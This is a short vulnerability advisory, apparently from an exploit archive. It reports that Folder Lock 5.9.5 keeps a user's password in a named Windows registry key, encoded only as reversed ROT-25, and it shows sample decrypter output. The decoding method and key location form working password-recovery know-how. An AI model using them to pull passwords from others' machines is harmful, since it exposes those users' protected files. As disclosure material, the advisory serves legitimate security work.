Folder Lock 5.9.5 - Weak Password Encryption Local Information Disclosure

source: https://www.securityfocus.com/bid/30766/info

Folder Lock is prone to an information-disclosure vulnerability because it stores credentials in an insecure manner.

A local attacker can exploit this issue to obtain passwords used by the application, which may aid in further attacks.

Folder Lock 5.9.5 is vulnerable; other versions may also be affected.

 * Synopsis: Folder Lock 5.9.5 and older versions are prone to local information-disclosure vulnerability.
 * Successfully exploiting this issue allows attackers to obtain potentially sensitive information that may aid in further attacks.
 * The security issue is caused due to the application storing access credentials within the Windows registry key:
 * (HKEY_CURRENT_USER\Software\Microsoft\Windows\QualityControl) without proper encryption. 
 * This can be exploited to disclose the encrypted _pack password of the user which is ROT-25 and reversed.
 * 
 * Sample Output:
 * 
 * ASTALAVISTA the hacking & security community
 * Folder Lock <= 5.9.5 Decrypter v2.0
 * ---------------------------------
 * Encrypted Password: :3<k_^62`4T-
 * Decrypted Password: ,S3_15]^j;29
